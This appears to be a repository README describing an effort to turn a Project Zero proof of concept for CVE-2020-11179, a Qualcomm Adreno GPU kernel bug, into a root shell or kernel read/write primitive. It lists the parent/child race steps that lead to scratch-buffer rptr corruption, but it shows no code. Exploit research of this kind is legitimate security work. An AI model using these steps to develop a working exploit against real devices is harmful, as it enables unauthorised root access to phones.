sparrow-labz/cve-2020-11179-adreno-qualcomm-gpuProductization efforts of CVE-2020-11179 Adreno-Qualcomm-GPU bug, original poc by Ben Hawkes of P0
My independent work from the poc created by P0 researcher Ben Hawkes
Original article: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html
My goal is to convert his poc to C, and continue where he left off
and turn the poc into either a root shell,
or a kernel r/w, and then change the system somehow to show kernel exec.

parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
